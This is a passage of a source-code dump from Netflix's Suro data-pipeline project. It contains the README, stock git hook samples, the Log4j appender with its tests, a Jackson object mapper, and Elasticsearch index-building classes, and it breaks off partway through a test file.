"directory", "name": "netflix", "children": [{"type": "directory", "name": "suro", "children": [{"type": "directory", "name": "input", "children": [{"type": "file", "name": "TestInputManager.java"}, {"type": "directory", "name": "thrift", "children": [{"type": "file", "name": "TestMessageSetProcessor.java"}, {"type": "file", "name": "TestMessageSetSerDe.java"}]}]}, {"type": "directory", "name": "routing", "children": [{"type": "file", "name": "TestFilter.java"}, {"type": "file", "name": "TestMessageRouter.java"}, {"type": "file", "name": "TestRoutingMap.java"}]}, {"type": "directory", "name": "server", "children": [{"type": "file", "name": "SuroServerExternalResource.java"}, {"type": "file", "name": "TestHealthCheck.java"}, {"type": "file", "name": "TestStatusServer.java"}, {"type": "file", "name": "TestSuroControl.java"}]}, {"type": "directory", "name": "sink", "children": [{"type": "directory", "name": "notice", "children": [{"type": "file", "name": "TestNotice.java"}]}, {"type": "directory", "name": "queue", "children": [{"type": "file", "name": "TestFileQueue.java"}, {"type": "file", "name": "TestMemoryQueue.java"}]}, {"type": "file", "name": "TestSinkManager.java"}]}, {"type": "file", "name": "TestSuroService.java"}, {"type": "file", "name": "TestUtils.java"}]}]}]}]}]}]}]}]} | # Suro: Netflix's Data Pipeline
Suro is a data pipeline service for collecting, aggregating, and dispatching large volume of application events including log data. It has the following features:
- It is distributed and can be horizontally scaled.
- It supports streaming data flow, large number of connections, and high throughput.
- It allows dynamically dispatching events to different locations with flexible dispatching rules.
- It has a simple and flexible architecture to allow users to add additional data destinations.
- It fits well into NetflixOSS ecosystem
- It is a best-effort data pipeline with support of flexible retries and store-and-forward to minimize message loss
Learn more about Suro on the <a href="https://github.com/Netflix/suro/wiki">Suro Wiki</a> and the <a href="http://techblog.netflix.com/2013/12/announcing-suro-backbone-of-netflixs.html">Netflix TechBlog post</a> where Suro was introduced.
## Master Build Status
<a href='https://netflixoss.ci.cloudbees.com/job/suro-master/'><img src='https://netflixoss.ci.cloudbees.com/job/suro-master/badge/icon'></a>
## Pull Request Build Status
<a href='https://netflixoss.ci.cloudbees.com/job/suro-pull-requests/'><img src='https://netflixoss.ci.cloudbees.com/job/suro-pull-requests/badge/icon'></a></img></a></img></a>
Build
-----
NetflixGraph is built via Gradle (www.gradle.org). To build from the command line:
./gradlew build
See the `build.gradle` file for other gradle targets, like `distTar`, `distZip`, `installApp`, and `runServer`.
Running the server
------------------
You can run the server locally by just running `./gradlew runServer`.
More more advanced usage you may wish to run `./gradlew installApp` and then:
cd suro-server
java -cp "build/install/suro-server/lib/*" com.netflix.suro.SuroServer -m conf/routingmap.json -s conf/sink.json -i conf/input.json
To enable basic logging you can downloaded `slf4j-simple-1.7.7.jar` and copy it into `suro-server` then run:
cd suro-server
java -cp "build/install/suro-server/lib/*:slf4j-simple-1.7.7.jar" com.netflix.suro.SuroServer -m conf/routingmap.json -s conf/sink.json -i conf/input.json
Support
-----
We will use the Google Group, Suro Users, to discuss issues: https://groups.google.com/forum/#!forum/suro-users
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "gradle\\wrapper\\gradle-wrapper.properties": "#Mon Jan 26 13:06:44 PST 2015\ndistributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-2.2.1-bin.zip\n", "suro-client\\src\\main\\java\\com\\netflix\\suro\\input\\Log4jAppender.java": "/*\n * Copyright 2013 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.netflix.suro.input;\n\nimport com.google.common.annotations.VisibleForTesting;\nimport com.netflix.suro.ClientConfig;\nimport com.netflix.suro.client.SuroClient;\nimport com.netflix.suro.message.Message;\nimport com.netflix.suro.message.SerDe;\nimport com.netflix.suro.message.StringSerDe;\nimport org.apache.log4j.AppenderSkeleton;\nimport org.apache.log4j.spi.LoggingEvent;\n\nimport java.net.InetAddress;\nimport java.net.UnknownHostException;\nimport java.util.Properties;\n\npublic class Log4jAppender extends AppenderSkeleton {\n protected static String localHostAddr = null;\n static {\n try {\n localHostAddr = InetAddress.getLocalHost().getHostName();\n } catch (UnknownHostException e) {\n localHostAddr = \"N/A\";\n }\n }\n\n private String formatterClass = JsonLog4jFormatter.class.getName();\n public void setFormatterClass(String formatterClass) {\n this.formatterClass = formatterClass;\n }\n public String getFormatterClass() {\n return formatterClass;\n }\n\n private String datetimeFormat = \"yyyy-MM-dd'T'HH:mm:ss,SSS\";\n public void setDatetimeFormat(String datetimeFormat) {\n this.datetimeFormat = datetimeFormat;\n }\n public String getDatetimeFormat() {\n return datetimeFormat;\n }\n\n private String routingKey = \"\";\n public void setRoutingKey(String routingKey) {\n this.routingKey = routingKey;\n }\n public String getRoutingKey() { return routingKey; }\n\n private String app = \"defaultApp\";\n public void setApp(String app) {\n this.app = app;\n }\n public String getApp() {\n return app;\n }\n\n private String compression = \"1\";\n public void setCompression(String compression) {\n this.compression = compression;\n }\n\n public String getCompression() {\n return compression;\n }\n\n private String loadBalancerType = \"eureka\";\n public void setLoadBalancerType(String loadBalancerType) {\n this.loadBalancerType = loadBalancerType;\n }\n private String getLoadBalancerType() {\n return loadBalancerType;\n }\n\n private String loadBalancerServer;\n public void setLoadBalancerServer(String loadBalancerServer) {\n this.loadBalancerServer = loadBalancerServer;\n }\n private String getLoadBalancerServer() {\n return loadBalancerServer;\n }\n\n private String asyncQueueType = \"memory\";\n public void setAsyncQueueType(String asyncQueueType) {\n this.asyncQueueType = asyncQueueType;\n }\n public String getAsyncQueueType() {\n return asyncQueueType;\n }\n\n private String asyncMemoryQueueCapacity = \"10000\";\n public void setAsyncMemoryQueueCapacity(String memoryQueueCapacity) {\n this.asyncMemoryQueueCapacity = memoryQueueCapacity;\n }\n public String getAsyncMemoryQueueCapacity() {\n return asyncMemoryQueueCapacity;\n }\n\n private String asyncFileQueuePath = \"/logs/suroClient\";\n public String getAsyncFileQueuePath() {\n return asyncFileQueuePath;\n }\n public void setAsyncFileQueuePath(String fileQueuePath) {\n this.asyncFileQueuePath = fileQueuePath;\n }\n\n private String clientType = \"async\";\n public void setClientType(String clientType) {\n this.clientType = clientType;\n }\n public String getClientType() {\n return clientType;\n }\n\n private Log4jFormatter formatter;\n @VisibleForTesting\n protected SuroClient client;\n\n @Override\n public void activateOptions() {\n client = new SuroClient(createProperties());\n\n try {\n formatter = (Log4jFormatter)\n Class.forName(formatterClass).getDeclaredConstructor(ClientConfig.class)\n .newInstance(client.getConfig());\n } catch (Exception e) {\n formatter = new JsonLog4jFormatter(client.getConfig());\n }\n }\n\n private Properties createProperties() {\n Properties properties = new Properties();\n properties.setProperty(ClientConfig.LOG4J_FORMATTER, formatterClass);\n properties.setProperty(ClientConfig.LOG4J_DATETIMEFORMAT, datetimeFormat);\n properties.setProperty(ClientConfig.LOG4J_ROUTING_KEY, routingKey);\n properties.setProperty(ClientConfig.APP, app);\n properties.setProperty(ClientConfig.COMPRESSION, compression);\n properties.setProperty(ClientConfig.LB_TYPE, loadBalancerType);\n properties.setProperty(ClientConfig.LB_SERVER, loadBalancerServer);\n properties.setProperty(ClientConfig.ASYNC_MEMORYQUEUE_CAPACITY, asyncMemoryQueueCapacity);\n properties.setProperty(ClientConfig.ASYNC_QUEUE_TYPE, asyncQueueType);\n properties.setProperty(ClientConfig.ASYNC_FILEQUEUE_PATH, asyncFileQueuePath);\n properties.setProperty(ClientConfig.CLIENT_TYPE, clientType);\n\n return properties;\n }\n\n @Override\n public void doAppend(LoggingEvent event) {\n this.append(event);\n }\n\n private SerDe<String> serDe = new StringSerDe();\n @Override\n protected void append(LoggingEvent event) {\n String result = formatter.format(event);\n client.send(new Message(\n formatter.getRoutingKey(),\n result.getBytes()));\n }\n\n @Override\n public void close() {\n client.shutdown();\n }\n\n @Override\n public boolean requiresLayout() {\n return false;\n }\n\n public long getSentMessageCount() {\n return client.getSentMessageCount();\n }\n}\n", "suro-client\\src\\test\\java\\com\\netflix\\suro\\input\\TestLog4jAppender.java": "/*\n * Copyright 2013 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.netflix.suro.input;\n\nimport com.netflix.suro.ClientConfig;\nimport com.netflix.suro.SuroServer4Test;\nimport com.netflix.suro.client.SuroClient;\nimport com.netflix.suro.connection.TestConnectionPool;\nimport com.netflix.suro.message.Message;\nimport org.apache.log4j.Level;\nimport org.apache.log4j.spi.LoggingEvent;\nimport org.junit.After;\nimport org.junit.Before;\nimport org.junit.Rule;\nimport org.junit.Test;\nimport org.junit.rules.TemporaryFolder;\nimport org.mockito.ArgumentCaptor;\n\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport static org.junit.Assert.assertEquals;\nimport static org.mockito.Matchers.any;\nimport static org.mockito.Mockito.*;\n\npublic class TestLog4jAppender {\n @Rule\n public TemporaryFolder tempDir = new TemporaryFolder();\n\n public static final int DEFAULT_WAIT_INTERVAL = 20;\n private Log4jAppender appender = new Log4jAppender();\n private List<SuroServer4Test> servers;\n\n @Before\n public void setup() throws Exception {\n servers = TestConnectionPool.startServers(1);\n }\n\n @After\n public void clean() {\n TestConnectionPool.shutdownServers(servers);\n }\n\n private void sleepThrough(long millis) {\n long remaining = millis;\n while( remaining > 0 ) {\n long start = System.currentTimeMillis();\n try{\n Thread.sleep(remaining);\n } catch (InterruptedException e){ }\n\n remaining -= (System.currentTimeMillis() - start);\n }\n }\n\n private void waitAndVerify(long millis, Runnable assertion, long waitInterval) {\n long remaining = millis;\n while(remaining > 0) {\n try{\n assertion.run();\n\n // Assertion is successful, so we don't need to wait any more\n return;\n } catch(Throwable t) {\n sleepThrough(waitInterval);\n remaining -= waitInterval;\n }\n }\n\n // Last attempt after timeout, so we will get assertion failure if\n // there is one.\n assertion.run();\n }\n\n private void waitAndVerify(long millis, Runnable assertion) {\n waitAndVerify(millis, assertion, DEFAULT_WAIT_INTERVAL);\n }\n\n @Test\n public void testMemory() throws Exception {\n appender.setLoadBalancerType(\"static\");\n appender.setLoadBalancerServer(TestConnectionPool.createConnectionString(servers));\n appender.activateOptions();\n\n LoggingEvent event = mock(LoggingEvent.class);\n when(event.getMessage()).thenReturn(createEventMap());\n when(event.getLevel()).thenReturn(Level.INFO);\n\n appender.append(event);\n\n // Make sure client has enough time to drain the intermediary message queue\n waitAndVerify(5000, new Runnable(){\n\n @Override\n public void run() {\n assertEquals(appender.getSentMessageCount(), 1); // it should be successful\n }\n });\n\n\n\n appender.close();\n }\n\n @Test\n public void testFile() throws Exception {\n appender.setAsyncQueueType(\"file\");\n appender.setAsyncFileQueuePath(tempDir.newFolder().getAbsolutePath());\n appender.setLoadBalancerType(\"static\");\n appender.setLoadBalancerServer(TestConnectionPool.createConnectionString(servers));\n appender.activateOptions();\n\n LoggingEvent event = mock(LoggingEvent.class);\n when(event.getMessage()).thenReturn(createEventMap());\n when(event.getLevel()).thenReturn(Level.INFO);\n\n appender.append(event);\n\n // Make sure client has enough time to drain the intermediary message queue\n waitAndVerify(15000, new Runnable() {\n public void run() {\n assertEquals(appender.getSentMessageCount(), 1);\n }\n });\n\n\n appender.close();\n }\n\n @Test\n public void testLog4jFormatter() {\n appender.setFormatterClass(\"com.netflix.suro.input.StaticLog4jFormatter\");\n\n appender.setLoadBalancerType(\"static\");\n appender.setLoadBalancerServer(TestConnectionPool.createConnectionString(servers));\n appender.setClientType(\"sync\");\n appender.setRoutingKey(\"testRoutingKey\");\n appender.activateOptions();\n\n appender.client = mock(SuroClient.class);\n doNothing().when(appender.client).send(any(Message.class));\n\n LoggingEvent event = mock(LoggingEvent.class);\n when(event.getMessage()).thenReturn(\"string log\");\n when(event.getLevel()).thenReturn(Level.INFO);\n appender.append(event);\n\n ArgumentCaptor<Message> argument = ArgumentCaptor.forClass(Message.class);\n verify(appender.client).send(argument.capture());\n assertEquals(argument.getValue().getRoutingKey(), \"testRoutingKey\");\n String[] v0 = new String(argument.getValue().getPayload()).split(\"\\t\");\n String[] v1 = new StaticLog4jFormatter(new ClientConfig()).format(event).split(\"\\t\");\n\n assertEquals(v0.length, v1.length);\n\n for (int i = 0; i < v0.length; ++i) {\n if (i == 0) {\n assertEquals(v0[0].split(\":\")[0], v1[0].split(\":\")[0]);\n } else {\n assertEquals(v0[i], v1[i]);\n }\n }\n }\n\n private Map<String, String> createEventMap() {\n Map<String, String> map = new HashMap<String, String>();\n map.put(\"one\", \"1\");\n map.put(\"two\", \"2\");\n map.put(\"three\", \"3\");\n map.put(\"routingKey\", \"routingKey\");\n\n return map;\n }\n}\n", "suro-client\\src\\test\\java\\com\\netflix\\suro\\input\\TestLog4JAppenderWithLog4JConfig.java": "/**\n * Copyright 2013 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.suro.input;\n\nimport com.netflix.suro.SuroServer4Test;\nimport com.netflix.suro.TagKey;\nimport com.netflix.suro.connection.TestConnectionPool;\nimport org.apache.log4j.Logger;\nimport org.apache.log4j.PropertyConfigurator;\nimport org.junit.After;\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Properties;\n\nimport static org.junit.Assert.assertEquals;\n\n/**\n *\n */\npublic class TestLog4JAppenderWithLog4JConfig {\n private final static Logger LOG = Logger.getLogger(TestLog4JAppenderWithLog4JConfig.class);\n public static final int DEFAULT_WAIT_INTERVAL = 20;\n\n private List<SuroServer4Test> servers;\n\n @Before\n public void setup() throws Exception {\n servers = TestConnectionPool.startServers(1);\n\n Properties props = new Properties();\n props.setProperty(\"log4j.logger.com.netflix.suro.input\",\"WARN,SURO\");\n props.setProperty(\"log4j.appender.stdout.layout.ConversionPattern\", \"%5p [%t] (%F:%L) - %m%n\");\n props.setProperty(\"log4j.appender.SURO\", \"com.netflix.suro.input.Log4jAppender\");\n props.setProperty(\"log4j.appender.SURO.app\", \"ajjainApp\");\n props.setProperty(\"log4j.appender.SURO.routingKey\", \"ajjainroutingkey\");\n props.setProperty(\"log4j.appender.SURO.loadBalancerType\", \"static\");\n props.setProperty(\"log4j.appender.SURO.loadBalancerServer\", TestConnectionPool.createConnectionString(servers));\n props.setProperty(\"log4j.appender.SURO.compression\", \"0\");\n props.setProperty(\"log4j.appender.SURO.clientType\", \"sync\");\n\n PropertyConfigurator.configure(props);\n }\n\n @After\n public void tearDown() throws Exception {\n TestConnectionPool.shutdownServers(servers);\n }\n\n @Test\n public void testAllMessagesWillBeDeliveredInSeparatedMessageSet() {\n Map<String, String> message = new HashMap<String, String>();\n message.put(TagKey.ROUTING_KEY, \"routing_key_1\");\n message.put(\"data\", \"test\");\n\n\n final int messageCount = 20;\n for(int i = 0; i < messageCount; ++i) {\n LOG.warn(message);\n }\n\n waitAndVerify(5000, new Runnable() {\n @Override\n public void run() {\n assertEquals(messageCount, servers.get(0).getMessageSetCount());\n assertEquals(messageCount, servers.get(0).getMessageCount());\n }\n\n });\n }\n\n private void waitAndVerify(long millis, Runnable assertion) {\n waitAndVerify(millis, assertion, DEFAULT_WAIT_INTERVAL);\n }\n\n private void sleepThrough(long millis) {\n long remaining = millis;\n while( remaining > 0 ) {\n long start = System.currentTimeMillis();\n try{\n Thread.sleep(remaining);\n } catch (InterruptedException e){ }\n\n remaining -= (System.currentTimeMillis() - start);\n }\n }\n\n private void waitAndVerify(long millis, Runnable assertion, long waitInterval) {\n long remaining = millis;\n while(remaining > 0) {\n try{\n assertion.run();\n\n // Assertion is successful, so we don't need to wait any more\n return;\n } catch(Throwable t) {\n sleepThrough(waitInterval);\n remaining -= waitInterval;\n }\n }\n\n // Last attempt after timeout, so we will get assertion failure if\n // there is one.\n assertion.run();\n }\n}\n", "suro-core\\src\\main\\java\\com\\netflix\\suro\\jackson\\DefaultObjectMapper.java": "/*\n * Copyright 2013 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.netflix.suro.jackson;\n\nimport com.fasterxml.jackson.core.JsonParser;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.*;\nimport com.fasterxml.jackson.databind.jsontype.NamedType;\nimport com.fasterxml.jackson.databind.module.SimpleModule;\nimport com.fasterxml.jackson.databind.ser.std.ToStringSerializer;\nimport com.fasterxml.jackson.datatype.guava.GuavaModule;\nimport com.google.inject.Inject;\nimport com.google.inject.Injector;\nimport com.google.inject.Key;\nimport com.google.inject.Singleton;\nimport com.google.inject.name.Names;\nimport com.netflix.suro.TypeHolder;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.IOException;\nimport java.nio.ByteOrder;\nimport java.util.Set;\n\n/**\n * The default {@link ObjectMapper} used for serializing and de-serializing JSON objects.\n */\n@Singleton\npublic class DefaultObjectMapper extends ObjectMapper {\n private static final Logger LOG = LoggerFactory.getLogger(DefaultObjectMapper.class);\n\n public DefaultObjectMapper() {\n this(null, null);\n }\n \n @Inject\n public DefaultObjectMapper(final Injector injector, Set<TypeHolder> crossInjectable)\n {\n SimpleModule serializerModule = new SimpleModule(\"SuroServer default serializers\");\n serializerModule.addSerializer(ByteOrder.class, ToStringSerializer.instance);\n serializerModule.addDeserializer(\n ByteOrder.class,\n new JsonDeserializer<ByteOrder>()\n {\n @Override\n public ByteOrder deserialize(\n JsonParser jp, DeserializationContext ctxt\n ) throws IOException, JsonProcessingException\n {\n if (ByteOrder.BIG_ENDIAN.toString().equals(jp.getText())) {\n return ByteOrder.BIG_ENDIAN;\n }\n return ByteOrder.LITTLE_ENDIAN;\n }\n }\n );\n registerModule(serializerModule);\n registerModule(new GuavaModule());\n\n if (injector != null) {\n setInjectableValues(new InjectableValues() {\n @Override\n public Object findInjectableValue(\n Object valueId, \n DeserializationContext ctxt, \n BeanProperty forProperty, \n Object beanInstance\n ) {\n LOG.info(\"Looking for \" + valueId);\n try {\n return injector.getInstance(Key.get(forProperty.getType().getRawClass(), Names.named((String)valueId)));\n } catch (Exception e) {\n try {\n return injector.getInstance(forProperty.getType().getRawClass());\n } catch (Exception ex) {\n LOG.info(\"No implementation found, returning null\");\n }\n return null;\n }\n }\n });\n }\n\n configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);\n configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);\n configure(MapperFeature.AUTO_DETECT_GETTERS, false);\n configure(MapperFeature.AUTO_DETECT_CREATORS, false);\n configure(MapperFeature.AUTO_DETECT_FIELDS, false);\n configure(MapperFeature.AUTO_DETECT_IS_GETTERS, false);\n configure(MapperFeature.AUTO_DETECT_SETTERS, false);\n configure(SerializationFeature.INDENT_OUTPUT, false);\n \n if (crossInjectable != null) {\n for (TypeHolder entry : crossInjectable) {\n LOG.info(\"Registering subtype : \" + entry.getName() + \" -> \" + entry.getRawType().getCanonicalName());\n registerSubtypes(new NamedType(entry.getRawType(), entry.getName()));\n }\n }\n }\n}", "suro-elasticsearch\\src\\main\\java\\com\\netflix\\suro\\sink\\elasticsearch\\DefaultIndexInfoBuilder.java": "package com.netflix.suro.sink.elasticsearch;\n\nimport com.fasterxml.jackson.annotation.JacksonInject;\nimport com.fasterxml.jackson.annotation.JsonCreator;\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.core.type.TypeReference;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.google.common.base.Strings;\nimport com.google.common.collect.Maps;\nimport com.netflix.suro.message.Message;\nimport com.netflix.suro.sink.DataConverter;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.List;\nimport java.util.Map;\n\npublic class DefaultIndexInfoBuilder implements IndexInfoBuilder {\n private static final Logger log = LoggerFactory.getLogger(DefaultIndexInfoBuilder.class);\n\n private final static TypeReference<Map<String, Object>> type = new TypeReference<Map<String, Object>>() {};\n\n private final ObjectMapper jsonMapper;\n private final Map<String, String> indexMap;\n private final Map<String, String> typeMap;\n private final Map<String, List<String>> idFieldsMap;\n private final TimestampField timestampField;\n private final IndexSuffixFormatter indexSuffixFormatter;\n private final DataConverter dataConverter;\n\n @JsonCreator\n public DefaultIndexInfoBuilder(\n @JsonProperty(\"indexTypeMap\") Map<String, String> indexTypeMap,\n @JsonProperty(\"idFields\") Map<String, List<String>> idFieldsMap,\n @JsonProperty(\"timestamp\") TimestampField timestampField,\n @JsonProperty(\"indexSuffixFormatter\") IndexSuffixFormatter indexSuffixFormatter,\n @JacksonInject DataConverter dataConverter,\n @JacksonInject ObjectMapper jsonMapper\n ) {\n if (indexTypeMap != null) {\n indexMap = Maps.newHashMap();\n typeMap = Maps.newHashMap();\n\n for (Map.Entry<String, String> entry : indexTypeMap.entrySet()) {\n String[] index_type = entry.getValue().split(\":\");\n indexMap.put(entry.getKey(), index_type[0]);\n if (index_type.length > 1) {\n typeMap.put(entry.getKey(), index_type[1]);\n }\n }\n } else {\n this.indexMap = Maps.newHashMap();\n this.typeMap = Maps.newHashMap();\n }\n\n this.idFieldsMap = idFieldsMap;\n this.indexSuffixFormatter =\n indexSuffixFormatter == null ? new IndexSuffixFormatter(null, null) : indexSuffixFormatter;\n this.jsonMapper = jsonMapper;\n this.timestampField = timestampField;\n this.dataConverter = dataConverter;\n }\n\n @Override\n public IndexInfo create(final Message msg) {\n try {\n final Map<String, Object> msgMap;\n if (dataConverter != null) {\n msgMap = dataConverter.convert((Map<String, Object>) jsonMapper.readValue(msg.getPayload(), type));\n } else {\n msgMap = jsonMapper.readValue(msg.getPayload(), type);\n }\n\n return new IndexInfo() {\n private long ts = 0; //timestamp caching\n\n @Override\n public String getIndex() {\n String index = indexMap.get(msg.getRoutingKey());\n if (index == null) {\n index = msg.getRoutingKey();\n }\n return index + indexSuffixFormatter.format(this);\n }\n\n @Override\n public String getType() {\n String type = typeMap.get(msg.getRoutingKey());\n return type == null ? \"default\" : type;\n }\n\n @Override\n public Object getSource() {\n if (dataConverter != null) {\n return msgMap;\n } else {\n return new String(msg.getPayload());\n }\n }\n\n @Override\n public String getId() {\n if (idFieldsMap == null || !idFieldsMap.containsKey(msg.getRoutingKey())) {\n return null;\n } else {\n StringBuilder sb = new StringBuilder();\n for (String id : idFieldsMap.get(msg.getRoutingKey())) {\n if (id.startsWith(\"ts_\")) {\n sb.append(TimestampSlice.valueOf(id).get(getTimestamp()));\n } else {\n sb.append(msgMap.get(id));\n }\n }\n return sb.toString();\n }\n }\n\n @Override\n public long getTimestamp() {\n if (ts == 0 && timestampField != null) {\n ts = timestampField.get(msgMap);\n }\n\n return ts;\n }\n };\n } catch (Exception e) {\n log.error(\"Exception on parsing message\", e);\n return null;\n }\n }\n\n @Override\n public String getActionMetadata(IndexInfo info) {\n if (!Strings.isNullOrEmpty(info.getId())) {\n return String.format(\n \"{ \\\"create\\\" : { \\\"_index\\\" : \\\"%s\\\", \\\"_type\\\" : \\\"%s\\\", \\\"_id\\\" : \\\"%s\\\" } }\",\n info.getIndex(), info.getType(), info.getId());\n } else {\n return String.format(\n \"{ \\\"create\\\" : { \\\"_index\\\" : \\\"%s\\\", \\\"_type\\\" : \\\"%s\\\"} }\",\n info.getIndex(), info.getType());\n }\n }\n\n @Override\n public String getSource(IndexInfo info) throws JsonProcessingException {\n if (info.getSource() instanceof Map) {\n return jsonMapper.writeValueAsString(info.getSource());\n } else {\n return info.getSource().toString();\n }\n }\n\n @Override\n public String getIndexUri(IndexInfo info) {\n return info.getId() != null ?\n String.format(\n \"/%s/%s/%s\",\n info.getIndex(),\n info.getType(),\n info.getId()) :\n String.format(\n \"/%s/%s/\",\n info.getIndex(),\n info.getType());\n }\n\n @Override\n public String getCommand() {\n return \"create\";\n }\n}\n", "suro-elasticsearch\\src\\main\\java\\com\\netflix\\suro\\sink\\elasticsearch\\IndexInfo.java": "package com.netflix.suro.sink.elasticsearch;\n\npublic interface IndexInfo {\n String getIndex();\n String getType();\n Object getSource();\n String getId();\n long getTimestamp();\n}\n", "suro-elasticsearch\\src\\main\\java\\com\\netflix\\suro\\sink\\elasticsearch\\IndexInfoBuilder.java": "package com.netflix.suro.sink.elasticsearch;\n\nimport com.fasterxml.jackson.annotation.JsonSubTypes;\nimport com.fasterxml.jackson.annotation.JsonTypeInfo;\nimport com.netflix.suro.message.Message;\n\n@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, property = \"type\")\n@JsonSubTypes(value = {\n @JsonSubTypes.Type(name = \"default\", value = DefaultIndexInfoBuilder.class)\n})\npublic interface IndexInfoBuilder {\n IndexInfo create(Message msg);\n String getActionMetadata(IndexInfo info);\n String getSource(IndexInfo info) throws Exception;\n String getIndexUri(IndexInfo info);\n String getCommand();\n}\n", "suro-elasticsearch\\src\\main\\java\\com\\netflix\\suro\\sink\\elasticsearch\\IndexSuffixFormatter.java": "package com.netflix.suro.sink.elasticsearch;\n\nimport com.fasterxml.jackson.annotation.JsonCreator;\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport com.google.common.base.Function;\nimport org.joda.time.format.DateTimeFormat;\nimport org.joda.time.format.DateTimeFormatter;\n\nimport javax.annotation.Nullable;\nimport java.util.Properties;\n\npublic class IndexSuffixFormatter {\n private final Function<IndexInfo, String> formatter;\n\n @JsonCreator\n public IndexSuffixFormatter(\n @JsonProperty(\"type\") String type,\n @JsonProperty(\"properties\") Properties props) {\n if (type == null) {\n formatter = new Function<IndexInfo, String>() {\n @Nullable\n @Override\n public String apply(@Nullable IndexInfo input) {\n return \"\";\n }\n };\n } else if (type.equals(\"date\")) {\n final DateTimeFormatter dateTimeFormatter = DateTimeFormat.forPattern(props.getProperty(\"dateFormat\"));\n\n formatter = new Function<IndexInfo, String>() {\n\n @Nullable\n @Override\n public String apply(@Nullable IndexInfo input) {\n return dateTimeFormatter.print(input.getTimestamp());\n }\n };\n } else {\n throw new RuntimeException(\"unsupported type: \" + type);\n }\n }\n\n public String format(IndexInfo info) {\n return formatter.apply(info);\n }\n}\n", "suro-elasticsearch\\src\\test\\java\\com\\netflix\\suro\\sink\\elasticsearch\\TestDefaultIndexInfoBuilder.java": "package com.netflix.suro.sink.elasticsearch;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.core.type.TypeReference;\nimport com.fasterxml.jackson.databind.BeanProperty;\nimport com.fasterxml.jackson.databind.DeserializationContext;\nimport com.fasterxml.jackson.databind.InjectableValues;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.google.common.collect.ImmutableMap;\nimport com.google.common.collect.Lists;\nimport com.netflix.suro.jackson.DefaultObjectMapper;\nimport com.netflix.suro.message.Message;\nimport com.netflix.suro.sink.DataConverter;\nimport org.joda.time.DateTime;\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport java.io.IOException;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Properties;\n\nimport static org.junit.Assert.assertEquals;\nimport static org.junit.Assert.assertNull;\n\npublic class TestDefaultIndexInfoBuilder {\n private ObjectMapper jsonMapper = new DefaultObjectMapper();\n\n @Before\n public void setup() {\n System.setProperty(\"user.timezone\", \"GMT\");\n }\n\n @Test\n public void shouldReturnNullOnParsingFailure() {\n DefaultIndexInfoBuilder builder = new DefaultIndexInfoBuilder(\n null,\n null,\n null,\n null,\n null,\n jsonMapper);\n\n assertNull(builder.create(new Message(\"routingkey\", \"message\".getBytes())));\n }\n\n 